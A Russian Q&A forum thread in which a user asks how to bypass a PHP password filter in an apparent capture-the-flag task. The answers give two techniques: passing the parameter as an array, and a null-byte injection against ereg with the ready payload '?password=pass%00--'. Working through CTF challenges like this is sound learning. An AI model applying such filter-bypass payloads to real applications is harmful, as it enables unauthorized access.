Задать вопрос
trinitr0
@trinitr0
провинциальный админ

Как можно обойти проверку пароля?

Есть такой код с лазейкой (вроде как), для получения значения поля пароля из формы:
<?php
require 'flag.php';

if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
		echo '<p class="alert">You password must be alphanumeric</p>';
	else if (strpos ($_GET['password'], '--') !== FALSE)
		die('Flag: ' . $flag);
	else
		echo '<p class="alert">Wrong passsword</p>';
}
?>


Есть ли способ как-то "обмануть" фильтрацию вводимых символов и получить значение переменной $flag?
  • Вопрос задан
  • 1712 просмотров
Подписаться 7 Простой Комментировать
Решения вопроса 1
index0h
@index0h
PHP, Golang. https://github.com/index0h
$_GET['password'] = [''];
Ответ написан
Пригласить эксперта
Ответы на вопрос 2
@anonlatte1
Используй уязвимость, связанную с нулевым байтом
В конце строки добавь %00. Всё, что находится после этих символов, не будет регулярным читаться, но будет возможность вставить нужные символы, подходящие под условие получения флага
Решение таска example.com/?password=pass%00--
Ответ написан
@asd111
Нет.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы